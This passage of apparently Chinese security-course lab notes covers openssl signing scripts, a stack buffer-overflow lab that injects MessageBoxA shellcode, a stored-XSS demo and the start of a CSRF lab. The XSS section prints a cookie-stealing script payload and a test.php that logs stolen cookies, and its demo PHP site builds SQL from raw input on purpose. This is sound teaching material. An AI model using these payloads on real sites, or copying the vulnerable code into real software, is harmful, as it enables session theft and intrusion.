source_prikey.pem -out source.csr \u0026#39;\u0026#39;\u0026#39; command = \u0026#34; openssl req -new -key \u0026#34; + prikey + \u0026#34;.pem -out source.csr -config source.cnf\u0026#34; os.system(command) # 由CA生成证书 def req_x509(csr_name, ca_pubkey, ca_prikey): \u0026#39;\u0026#39;\u0026#39;csr_name表示证书请求文件的名称，ca_pubkey表示ca的公钥即自签证书，ca_prikey表示ca的私钥 使用ca_prikey.pem对证书请求文件csr_name.csr进行签名，生成一个带有签名的证书文件dest.pem openssl x509 -req -in source.csr -CA ca_cert.pem -CAkey ca_prikey.pem -CAcreateserial -out source_cert.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34; openssl x509 -req -in \u0026#34; + csr_name + \u0026#34;.csr -CA \u0026#34; + ca_pubkey + \u0026#34;.pem -CAkey \u0026#34; + ca_prikey + \u0026#34;.pem -CAcreateserial -out dest.pem\u0026#34; os.system(command) # 生成自签名证书 def req_cacert(prikey): \u0026#39;\u0026#39;\u0026#39; 使用 CA 私钥生成自签名的 CA 证书,生成ca_pubkey.pem openssl req -new -x509 -key ca_prikey.pem -out ca_cert.pem -days 365 -config ca.cnf\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl req -new -x509 -key \u0026#34; + prikey + \u0026#34;.pem -out ca_pubkey.pem -days 365 -config ca.cnf\u0026#34; os.system(command) # 从证书中提取公钥 def load_pubkey(cert): \u0026#39;\u0026#39;\u0026#39; 从证书中提取源公钥,cert表示需要提取公钥的证书，输出为source_pubkey_extracted.pem openssl x509 -in source_cert.pem -pubkey -noout \u0026gt; source_pubkey_extracted.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl x509 -in \u0026#34; + cert + \u0026#34;.pem -pubkey -noout \u0026gt; source_pubkey_extracted.pem\u0026#34; os.system(command) # if __name__ == \u0026#39;__main__\u0026#39;: # 输入内容到message.txt input_message() # 生成source的私钥 key_generate(\u0026#34;source\u0026#34;) # 生成source的公钥 key_public(\u0026#34;source_prikey\u0026#34;, \u0026#34;source\u0026#34;) # 生成ca的私钥 key_generate(\u0026#34;ca\u0026#34;) # 生成ca的公钥 req_cacert(\u0026#34;ca_prikey\u0026#34;) # 1.对message.txt使用md5生成摘要 # 生成文件 dgst_message.txt.txt dgst_md5(\u0026#34;message.txt\u0026#34;) # 2.对摘要dgst_message.txt使用source方的私钥进行签名 # 生成文件 dgst_message.txt.sig sign(\u0026#34;dgst_message.txt\u0026#34;, \u0026#34;source_prikey\u0026#34;) # 3.将source方的公钥包含在证书请求文件source.pem中 req_cert(\u0026#34;source_prikey\u0026#34;) # 4.CA对csr.pem的证书请求文件进行发布证书 req_x509(\u0026#34;source\u0026#34;, \u0026#34;ca_pubkey\u0026#34;, \u0026#34;ca_prikey\u0026#34;) # 5.对source的签名文件dgst_message.sig文件进行摘要和签名 # 生成文件dgst_dgst_message.txt.sig.txt dgst_dgst_message.txt.sig.sig dgst_md5(\u0026#34;dgst_message.txt.sig\u0026#34;) sign(\u0026#34;dgst_dgst_message.txt.sig\u0026#34;, \u0026#34;ca_prikey\u0026#34;) # 6.从CA认证的证书dest.pem中提取原公钥 load_pubkey(\u0026#34;dest\u0026#34;) # 7.使用由CA认证的证书中提取的公钥对文件进行验证签名 print(\u0026#34;使用由CA认证的证书中提取的公钥对文件进行验证签名：\u0026#34;) verify(\u0026#34;dgst_message.txt.txt\u0026#34;, \u0026#34;dgst_message.txt\u0026#34;, \u0026#34;source_pubkey_extracted\u0026#34;) \u0026#39;\u0026#39;\u0026#39; # 使用ca的公钥对于message.sig签名文件进行验证签名，判断是否与message.txt内容相同 print(\u0026#34;对CA签名的验证：\u0026#34;) # 这个验证必须要将ca_pubkey.pem通过普通公钥的生成，参考source verify(\u0026#34;dgst_dgst_message.txt.sig.txt\u0026#34;, \u0026#34;dgst_dgst_message.txt.sig\u0026#34;, \u0026#34;ca_pubkey\u0026#34;) # 使用source的公钥对于dgst_message.sig签名文件进行验证签名，判断是否与dgst_message.txt内容相同 print(\u0026#34;使用source的公钥对source签名的验证：\u0026#34;) verify(\u0026#34;dgst_message.txt.txt\u0026#34;, \u0026#34;dgst_message.txt\u0026#34;, \u0026#34;source_pubkey\u0026#34;) \u0026#39;\u0026#39;\u0026#39; 2、软件破解（EXE文件破解） 2.1\t阅读EXE文件 首先要了解PE文件的结构：\nDOS文件头 DOS加载模块 PE文件头 区段表 区段 2.2\t地址 2.1.1\t基本概念 Virtual Address, VA, 虚拟地址 VA表示虚拟内存地址，是指在进程虚拟地址空间中的地址，也就是加载到内存中时的地址，其计算方式是将RVA加上映像基址。VA相当于RVA在内存中的映射，可以被程序直接访问。\nRelatively Virtual Address, RVA, 相对虚拟地址 RVA表示相对虚拟地址，是指节表中相对于映像基址的偏移量，用于定位节表在虚拟地址空间中的位置。其计算方式是将VA减去映像基址。RVA相当于VA相对于映像基址的偏移量。\nImage Base, 映像基址 映像基址则是一个常量，是在编译时由程序员指定的，用于指定可执行文件在内存中的首选加载地址。需要注意的是，映像基址在编译时指定后就不会再改变，如果程序需要在不同的地址空间中运行，就需要重新编译。\nBase Address, 内存基址 内存基址（Base Address）是指进程在内存中分配的首选基地址。每个进程都有自己的内存基址，操作系统通过分配不同的内存基址来为每个进程提供独立的内存空间。在Windows操作系统中，每个进程的内存基址通常是通过映像基址（ImageBase）来确定的。当程序被加载到内存中时，系统会将程序映像文件中的各个节表按照一定的规则映射到虚拟内存空间中，并将映像基址添加到各个节表的RVA上，从而计算出各个节表在内存中的VA地址。这样，程序在运行过程中就可以直接访问这些内存地址，实现数据和代码的交互。\n需要注意的是，内存基址是可变的，它可以在进程的生命周期内发生变化，例如在进行地址随机化（ASLR）等安全机制的时候，系统会重新分配进程的内存基址，从而增加攻击者的攻击难度。\n物理地址 物理地址是指内存中的实际物理地址，是指在物理内存中的地址，其计算方式是将VA减去进程的内存基址。物理地址是操作系统管理的，通常无法直接访问，只能由操作系统进行管理和分配。\nMagic Number, 幻数 是PE文件中的一个特殊字段，用来标识文件类型。幻数通常是一个32位的整数，不同的PE文件类型有不同的幻数值。\n2.1.2\t各个地址之间关系 VA = RVA + Image Base\nRVA = VA - Image Base\n物理地址 = VA - 内存基址\nVA、RVA、映像基址和物理地址之间的关系可以总结为：VA是RVA加上映像基址计算得到的结果，RVA是VA减去映像基址的结果，而物理地址是VA减去内存基址的结果。\n2.2\t节表 更改返回地址 已经找到成功引起分支的返回地址，在password.txt文件中通过十六进制修改第四个字节（返回地址）为这个验证成功的分支地址。\n代码植入 实验程序源代码：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;windows.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #define PASSWORD \u0026#34;1234567\u0026#34; int verify_password(char *password) { int authenticated; char buffer[44]; authenticated = strcmp(password, PASSWORD); strcpy(buffer, password); // over flowed here! return authenticated; } int main() { int valid_flag = 0; char password[1024]; FILE *fp; LoadLibrary(\u0026#34;user32.dll\u0026#34;); // prepare for messagebox if (!(fp = fopen(\u0026#34;password.txt\u0026#34;, \u0026#34;rw+\u0026#34;))) { exit(0); } fscanf(fp, \u0026#34;%s\u0026#34;, password); valid_flag = verify_password(password); if (valid_flag) { printf(\u0026#34;incorrect password!\\n\u0026#34;); } else { printf(\u0026#34;Congratulation! You have passed the verification!\\n\u0026#34;); } fclose(fp); system(\u0026#34;pause\u0026#34;); return 0; } 在这个实验中，将buffer数组的大小扩大到了44个字节。\n大致步骤：\n（1）分析并调试漏洞程序，获得淹没返回地址的偏移。 （2）获得buffer 的起始地址，并将其写入password.txt 的相应偏移处，用来冲刷返回地址。 （3）向password.txt 中写入可执行的机器代码，用来调用API 弹出一个消息框。\n第一步：调试栈的布局 ​\t调试漏洞程序，在password.txt根据buffer数组的大小编写11个4321，刚好到达buffer数组末尾。\n​\t第12 个输入单元将authenticated 覆盖；第13 个输入单元将前栈帧EBP 值覆盖；第14 个输入单元将返回地址覆盖。\n​\t在ollydbg中调试exe文件之后，在堆栈区中搜索4321相关字符串内容，就能够找到他的地址开始分析。\n​\t找到buffer数组的地址为0x0019FB30，作为之后的覆盖的返回地址，在buffer数组中存入植入代码。在上面的截图可以看到0019FB5C中的内容最后的两位为00，这里其实就是authenticated的内容，00是上面的字符串最后的结束符NULL的ASCII码。本来strcmp()函数在遇到不相等的时候返回到是一个非0的数，只有当匹配成功的时候才返回0，这里就是被溢出修改了。\n按照理论来说，后面三个字节的地址应该为authenticated, EBP, 返回地址的地址。\n第二步：查找MessageBoxA的入口地址 获得user32.dll的加载基址，以此加上MessageBoxA的文件偏移量来计算MessageBoxA的入口地址。\n使用Process Explore找到了user32.dll的加载地址：0x00007FF8C0D80000（其实不是这个，往后面看）\n在64位系统中查看MessageBoxA的偏移地址：\n在C:\\Windows\\system32目录下使用dumpbin命令来查看user32.dll文件的导出表：dumpbin /exports user32.dll 在导出表中查找MessageBoxA函数，RVA为0x00078A40 所以MessageBoxA的入口为：0x00007FF8C0D80000 + 0x00078A40 = 0x00007FF8C0DF8A40。这里有些不太正确的地方，因为程序本身是32位的程序，所以这个user32.dll的基址不应该是这个。\n在64位系统上运行32位程序需要使用WoW64子系统，该子系统允许在64位操作系统中运行32位应用程序。要在WoW64中调用user32.dll模块中的MessageBoxA函数，需要使用32位版本的user32.dll模块。\n然后我又用Process Explore重新查找了C:\\Windows\\SysWOW64下面的user32.dll的基址和RVA\n32-bit的user32.dll加载基址为：0x0000000075230000，偏移地址还是和64-bit版本一样的为：0x00078A40，所以MessageBoxA在这个32位程序中的入口地址为：0x0000000075230000 + 0x00078A40 = 0x00000000752A8A40。\n0x00000000764C0000\n在32位程序中将0x752A8A40作为MessageBoxA函数的入口点地址来调用该函数。\n第三步：编写16进制的API函数 16进制可执行代码和对应的汇编码：\nimg src=\u0026ldquo;https://raw.githubusercontent.com/sirius2alpha/Typora-pics/master/2023/04/upgit_20230426_1682518982.png\u0026quot; alt=\u0026ldquo;image-20230426222300604\u0026rdquo; style=\u0026ldquo;zoom: 67%;\u0026rdquo; /\u0026gt;\n这4位是填写MessageBoxA的入口地址\n最后4位是buffer数组的入口地址\n更改弹出窗口的文字为Cracked!，找到对应的ASCII码，68是PUSH指令\n最后完成的截图\n注：重启完电脑之后好像user32.dll的基址可能会发生变更，需要使用Process Explore查看，并与偏移量进行计算，重新得到加载地址，password.txt中需要更改的位置为第二行中FF前面四位。\n3、常见攻击及预防（SQL注入与XSS攻击） XSS Reflection 攻击 Stored XSS 攻击 攻击流程\n攻击者向论坛提交一篇含有XSS的文章；\n用户正常登录；\n用户浏览攻击者提交的文章；\n网站把含有XSS的文章返回给用户；\n用户的浏览器执行文章中的XSS；\n用户浏览器将session token等发送给攻击者；\n攻击者利用用户的session信息，伪装成用户登陆网站。\n编写内容\n一个论坛网站，含有XSS漏洞，并且攻击者在上面存储有攻击代码的文章；\n一段攻击代码，将用户的session token发送给攻击者，攻击者把他保存在本地的txt文件中。\n实战演示\n1、黑客先登录论坛网站\n2、黑客在论坛中添加一篇文章，包含内容：\n\u0026lt;script\u0026gt;window.open(\u0026#39;http://localhost/xsstest/test.php?cookie=\u0026#39;+document.cookie)\u0026lt;/script\u0026gt; 在网站更新的时候该段文字就会被解释为JavaScript代码被执行，带着用户的cookie去访问test.php网站.\n中间空白的一条就是被解释为代码的JavaScript文本\n3、普通用户登录的时候就会跳转到test.php执行\n在这个里面就把用户的信息进行了窃取保存在本地文件cookie.txt中，同时重定向到bing.com表示操作成功\n代码部分\n登陆界面 login.php\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;XSS 登录\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; /* Reset styles */ * { box-sizing: border-box; margin: 0; padding: 0; } /* Body styles */ body { font-family: Arial, sans-serif; font-size: 16px; line-height: 1.5; color: #333; background-color: #f5f5f5; } /* Main container styles */ .container { max-width: 500px; margin: 50px auto; padding: 20px; background-color: #fff; box-shadow: 0 0 10px rgba(0,0,0,.2); } /* Form styles */ form { display: flex; flex-direction: column; gap: 10px; } label { font-weight: bold; } input[type=\u0026#34;text\u0026#34;], input[type=\u0026#34;password\u0026#34;] { display: block; width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; font-size: inherit; } input[type=\u0026#34;submit\u0026#34;] { display: inline-block; padding: 10px; border: none; border-radius: 4px; background-color: #007bff; color: #fff; font-size: inherit; cursor: pointer; transition: background-color .3s; } input[type=\u0026#34;submit\u0026#34;]:hover { background-color: #0069d9; } button { display: inline-block; padding: 10px; border: none; border-radius: 4px; background-color: #fff; color: #007bff; font-size: inherit; cursor: pointer; transition: color .3s; } button:hover { color: #0069d9; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;XSS 登录\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;post.php\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;username\u0026#34;\u0026gt;用户名：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;username\u0026#34; id=\u0026#34;username\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;password\u0026#34;\u0026gt;密码：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; id=\u0026#34;password\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;登录\u0026#34;\u0026gt; \u0026lt;button\u0026gt;\u0026lt;a href=\u0026#34;reg.php\u0026#34;\u0026gt;注册\u0026lt;/a\u0026gt;\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 首页 index.php:\n\u0026lt;?php if(!isset($_COOKIE[\u0026#39;username\u0026#39;]))//对跳转方式判断，阻止直接跳转； { echo \u0026#39;登录非法!\u0026lt;a href=\u0026#34;login.php\u0026#34;\u0026gt;请登录\u0026lt;/a\u0026gt;\u0026#39;; exit(); } ?\u0026gt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;xss测试网站\u0026lt;/title\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;style\u0026gt; body { background-color: #f2f2f2; color: #333; font-family: Arial, sans-serif; font-size: 16px; margin: 0; padding: 0; } .container { margin: 50px auto; max-width: 800px; width: 90%; } .header { background-color: #007bff; color: #fff; display: flex; justify-content: space-between; align-items: center; padding: 20px; } .header h1 { margin: 0; } .header a { color: #fff; text-decoration: none; } .message { margin-top: 50px; } .message table { border-collapse: collapse; width: 100%; } .message table td { border: 1px solid #ccc; padding: 10px; } form { margin-top: 50px; } input[type=text], input[type=password] { width: 100%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border: none; border-radius: 4px; } input[type=submit] { background-color: #4CAF50; color: white; padding: 14px 20px; margin: 8px 0; border: none; border-radius: 4px; cursor: pointer; } input[type=submit]:hover { background-color: #45a049; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;header\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;xss测试网站\u0026lt;/h1\u0026gt; \u0026lt;a href=\u0026#34;logout.php\u0026#34;\u0026gt;注销\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;message\u0026#34;\u0026gt; \u0026lt;table\u0026gt; \u0026lt;thead\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt;留言内容\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/thead\u0026gt; \u0026lt;tbody\u0026gt; \u0026lt;?php $db = @mysqli_connect(\u0026#39;localhost\u0026#39;,\u0026#39;root\u0026#39;,\u0026#39;123456\u0026#39;) or die(\u0026#34;Fail\u0026#34;); mysqli_select_db($db, \u0026#39;xsstest\u0026#39;); $sql = \u0026#34;select message from message_board;\u0026#34;; $result = mysqli_query($db, $sql); if($result) { while($row=mysqli_fetch_array($result)) { echo \u0026#34;\u0026lt;tr\u0026gt;\u0026lt;td\u0026gt; {$row[\u0026#39;message\u0026#39;]} \u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026#34;; } } mysqli_close($db); ?\u0026gt; \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;form action=\u0026#34;message.php\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;message\u0026#34;\u0026gt;在这里输入你的留言内容：\u0026lt;/label\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;message\u0026#34; name=\u0026#34;mess\u0026#34;\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;提交留言\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 登出网站 logout.php\n\u0026lt;?php if(isset($_COOKIE[\u0026#39;username\u0026#39;])){ setcookie(\u0026#39;username\u0026#39;,$name,time()-1);//清除cookie 将时间设置为负数 header(\u0026#39;Location:login.php\u0026#39;); } else{ echo \u0026#39;注销失败\u0026#39;; header(\u0026#39;Location:index.php\u0026#39;); } ?\u0026gt; message.php\n\u0026lt;?php $message = $_POST[\u0026#39;mess\u0026#39;]; $db = @mysqli_connect(\u0026#39;localhost\u0026#39;,\u0026#39;root\u0026#39;,\u0026#39;123456\u0026#39;) or die(\u0026#34;Fail\u0026#34;); mysqli_select_db($db, \u0026#39;xsstest\u0026#39;); $sql = \u0026#34;insert into message_board(message) values(\u0026#39;$message\u0026#39;);\u0026#34;; $result = mysqli_query($db, $sql); if(!$result) { die(\u0026#39;无法插入数据：\u0026#39;.mysqli_error($db)); } echo \u0026#34;数据插入成功！\\n\u0026#34;; header(\u0026#39;Location:index.php\u0026#39;); mysqli_close($db); ?\u0026gt; post.php\n\u0026lt;?php $conn=mysqli_connect(\u0026#34;localhost\u0026#34;,\u0026#39;root\u0026#39;,\u0026#39;123456\u0026#39;) or die(\u0026#34;数据库连接失败！\u0026#34;);//连接你的本地数据库 //localhost为服务器 root为用户名 root为密码 mysqli_select_db($conn,\u0026#39;xsstest\u0026#39;) or die(\u0026#34;您要选择的数据库不存在\u0026#34;);//选择你建立的数据表 $name=$_POST[\u0026#39;username\u0026#39;]; $pwd=$_POST[\u0026#39;password\u0026#39;];//获取表单提交的内容用两个变量来存post方式接受的值 $sql=\u0026#34;select * from user where username=\u0026#39;$name\u0026#39; and password=\u0026#39;$pwd\u0026#39;\u0026#34;;//查询语句 $query=mysqli_query($conn, $sql);//函数执行一条 MySQL 查询。 $arr=mysqli_fetch_array($query);//然后从$query中取一行数字数组 if(is_array($arr)){//对$arr进行判断 setcookie(\u0026#39;username\u0026#39;,$name,time()+3600); //设置cookie,时间为一小时，（以秒为单位） header(\u0026#34;Location:index.php\u0026#34;);//跳转页面 }else{ echo \u0026#34;您的用户名或密码输入有误，\u0026lt;a href=\\\u0026#34;login.php\\\u0026#34;\u0026gt;请重新登录！\u0026lt;/a\u0026gt;\u0026#34;; } ?\u0026gt; 用户注册网站 reg.php\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;xss注册\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body{ padding: 0; margin: 0; font-size: 30px; background-color: #f1f1f1; /* 背景颜色 */ color: #333; /* 字体颜色 */ } .main{ position: fixed; top: 50%; left: 50%; margin-left: -245px; margin-top: -201.5px; width: 490px; height: 403px; background-color: #fff; /* 背景颜色 */ padding: 20px; border-radius: 5px; /* 圆角边框 */ box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2); /* 阴影效果 */ } input{ width:250px; height:30px; text-align:left; color:blue; border-radius: 5px; border: none; padding: 5px; box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2); margin-bottom: 10px; } .sub{ width:125px; height:40px; background-color: #ff6600; /* 按钮背景颜色 */ color: #fff; /* 按钮字体颜色 */ font-size: 20px; border: none; border-radius: 5px; box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2); cursor: pointer; transition: all 0.2s ease-in-out; } .sub:hover{ background-color: #ff8000; /* 按钮背景颜色 */ box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); } .nav{ padding-top: 80px; padding-left: 115px; width: 260px; } img{ width: 100%; height: 100%; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;main\u0026#34;\u0026gt; \u0026lt;form class=\u0026#34;nav\u0026#34; action=\u0026#34;regin.php\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;label\u0026gt;用户名\u0026lt;/label\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;username\u0026#34;\u0026gt;\u0026lt;br\u0026gt; \u0026lt;label\u0026gt;密码\u0026lt;/label\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34;\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;注册\u0026#34; class=\u0026#34;sub\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; regin.php\n\u0026lt;?php $conn=mysqli_connect(\u0026#34;localhost\u0026#34;,\u0026#39;root\u0026#39;,\u0026#39;123456\u0026#39;) or die(\u0026#34;数据库连接失败！\u0026#34;); mysqli_select_db($conn,\u0026#39;xsstest\u0026#39;) or die(\u0026#34;您要选择的数据库不存在\u0026#34;); $name=trim($_POST[\u0026#39;username\u0026#39;]); //trim函数，过滤空格，如果不加，我们在用户名后面添加很多空格，提交表单，打开firebug //调试工具，我们可以到输入的用户名后面会有很多空格，使用trim函数，我们可以把表单中空格给过滤掉 $password=$_POST[\u0026#39;password\u0026#39;]; $sql = \u0026#34;select * from user where username=\u0026#39;$name\u0026#39;\u0026#34;; $info = mysqli_query($conn, $sql); $res = mysqli_num_rows($info); if(empty($name)){ echo \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;用户名不能为空\u0026#39;);location.href=\u0026#39;reg.php\u0026#39;;\u0026lt;/script\u0026gt;\u0026#34;; }else if(empty($password)){ echo \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;密码不能为空\u0026#39;);location.href=\u0026#39;reg.php\u0026#39;;\u0026lt;/script\u0026gt;\u0026#34;; }else{\tif($res){ echo \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;用户名已存在\u0026#39;);location.href=\u0026#39;reg.php\u0026#39;;\u0026lt;/script\u0026gt;\u0026#34;; }else{ $sql1 =\u0026#34;insert into user(username,password) values(\u0026#39;\u0026#34;.$name.\u0026#34;\u0026#39;,\u0026#39;\u0026#34; .($password).\u0026#34;\u0026#39;)\u0026#34;; $result = mysqli_query($conn, $sql1); if($result){ echo \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;注册成功\u0026#39;)\u0026lt;/script\u0026gt;\u0026#34;,header(\u0026#34;Location:login.php\u0026#34;);; }else{ echo \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;注册失败\u0026#39;)\u0026lt;/script\u0026gt;\u0026#34;; } } }\t?\u0026gt; test.php\n\u0026lt;?php $cookie = $_GET[\u0026#39;cookie\u0026#39;]; $ip = getenv(\u0026#39;REMOTE_ADDR\u0026#39;); $time = date(\u0026#39;Y-m-d g:i:s\u0026#39;); $referer = getenv(\u0026#39;HTTP_REFERER\u0026#39;); $agent = $_SERVER[\u0026#39;HTTP_USER_AGENT\u0026#39;]; $fp = fopen(\u0026#39;cookie.txt\u0026#39;, \u0026#39;a\u0026#39;); fwrite($fp,\u0026#34; IP: \u0026#34; .$ip. \u0026#34;\\n Date and Time: \u0026#34; .$time. \u0026#34;\\n User Agent:\u0026#34;. $agent.\u0026#34;\\n Referer: \u0026#34;.$referer.\u0026#34;\\n Cookie: \u0026#34;.$cookie.\u0026#34;\\n\\n\\n\u0026#34;); //写入文件 fclose($fp); header(\u0026#34;Location: http://www.bing.com\u0026#34;); ?\u0026gt; CSRF攻击 ​\tCSRF攻击利用了受害者已经通过身份验证并且在一个网站上建立的有效会话，来执行未经授权的操作。当受害者在一个网站上登录并获得一个会话（例如通过使用用户名和密码进行身份验证），该网站会为其分配一个令牌或会话ID，以便在后续的请求中验证用户的身份。\n​\tCSRF攻击者会通过诱使受害者访问一个恶意网站或点击恶意链接，来利用受害者的已验证会话。由于受害者在浏览器中仍然保持着有效会话，攻击者可以构造特制的请求，以利用该会话来执行恶意操作，而这些操作是受害者并不知情或未经授权的。\n​\t例如，假设受害者在银行网站上登录并建立了一个有效的会话。攻击者可以通过电子邮件或社交媒体发送一个包含恶意链接的消息给受害者。如果受害者点击了该链接，他们的浏览器将自动向银行网站发送一个请求，而这个请求中包含了受害者的有效会话信息。银行网站在验证会话时会认为这个请求是合法的，因为会话是有效的，所以它执行了该请求所代表的操作，如转账、修改账户信息等，而受害者是毫不知情的。\n​\tCSRF攻击的目标是利用受害者的已验证会话来执行攻击者所期望的未经授权操作，从而导致受害者的损失或者对系统的安全产生威胁。\n1、补充知识 cookie 一般情况下，cookie是以键值对进行表示的(key-value)，例如name=jack，这个就表示cookie的名字是name，cookie携带的值是jack。\ncookie有2种存储方式，一种是会话性，一种是持久性。\n会话性：如果cookie为会话性，那么cookie仅会保存在客户端的内存中，当我们关闭客服端时cookie也就失效了 持久性：如果cookie为持久性，那么cookie会保存在用户的硬盘中，直至生存期结束或者用户主动将其销毁。\n组成 （1）cookie名称 （2）cookie值 （3）Expires：过期时间。当过了过期时间后，浏览器会将该cookie删除。如果不设置Expires，则关闭浏览器后该cookie失效。 （4）Path：用来设置在路径下面的页面才可以访问该cookie，一般设为/，以表示同一站点的所有页面都可以访问该cookie。 （5）Domain：用来指定哪些子域才可以访问cookie，格式一般为“.XXX.com” （6）Secure:如果设置了secure没有值，则代表只有使用HTTPS协议才可以访问 （7）HttpOnly：如果在cookie中设置了HttpOnly属性，那么通过JavaScript脚本等将无法读取到cookie信息。\nURL URL（统一资源定位符）的一般格式如下：\nscheme://host:port/path?query_parameters#fragment_identifier 具体解释如下：\nScheme（协议）：指定用于访问资源的协议，例如HTTP、HTTPS、FTP等。它是URL的开头部分，通常以双斜杠（//）结尾。 Host（主机）：指定目标资源所在的主机名或IP地址。主机名可以是域名（例如example.com）或IP地址（例如192.168.0.1）。 Port（端口）：指定用于访问目标资源的端口号（可选）。默认的端口号根据协议而不同，如HTTP默认端口是80，HTTPS默认端口是443。如果URL中没有指定端口，将使用默认端口。 Path（路径）：指定资源在服务器上的路径（可选）。路径部分是指服务器上资源的具体位置，可以是文件路径或目录路径。 Query Parameters（查询参数）：包含在URL中的键值对参数（可选）。查询参数通常用于向服务器传递额外的信息，多个参数之间使用\u0026rdquo;\u0026amp;\u0026ldquo;符号分隔。 Fragment Identifier（片段标识符）：用于标识文档中的特定片段（可选）。片段标识符通常由一个锚点或特定位置的标识符组成，用于在文档中导航到指定位置。 2、实验过程 使用Flask框架进行构建web应用。\n1、文件架构 ├── web-csrf/ │ ├── webA.py │ ├── webB.py │ ├── templates/ │ │ ├── home.html │ │ ├── login.html │ └── static/ │ └── style.css 2、源码 webA:\n# webA.py import hashlib import re import mysql.connector from flask import Flask, request, render_template, make_response app = Flask(__name__) db = mysql.connector.connect( host=\u0026#34;localhost\u0026#34;, user=\u0026#34;root\u0026#34;, password=\u0026#34;111111\u0026#34;, database=\u0026#34;web-csrf\u0026#34; ) cursor = db.cursor() # 登录功能 @app.route(\u0026#39;/\u0026#39;) @app.route(\u0026#39;/login\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def login(): if request.method == \u0026#39;POST\u0026#39;: username = request.form[\u0026#39;username\u0026#39;] password = request.form[\u0026#39;password\u0026#39;] # 检查用户名和密码是否匹配，参数化查询的方式 query = \u0026#34;SELECT * FROM user WHERE id = %s AND pwd = %s\u0026#34; cursor.execute(query, (username, password)) user = cursor.fetchone() # fetchone方法从查询结果中获取一条记录，以元组的形式返回 cursor.fetchall() # fetchall方法从查询结果中获取所有记录，以元组的形式返回 if user: user_id = user[0] user_token = hashlib.md5() user_token.update((user_id + str(request.cookies.get(\u0026#39;timestamp\u0026#39;))).encode(\u0026#39;utf-8\u0026#39;)) response = make_response(render_template(\u0026#39;home.html\u0026#39;, user_id=user[0], balance=user[3],user_token=user_token.hexdigest())) # 用户标识为用户ID和当前时间的md5摘要,在cookie中设置用户身份标识 user_id = user[0] user_token = hashlib.md5() user_token.update((user_id + str(request.cookies.get(\u0026#39;timestamp\u0026#39;))).encode(\u0026#39;utf-8\u0026#39;)) response.set_cookie(\u0026#39;user_id\u0026#39;, user_id) response.set_cookie(\u0026#39;user_token\u0026#39;, user_token.hexdigest()) # 将cookie中的用户身份标识存入数据库 query = 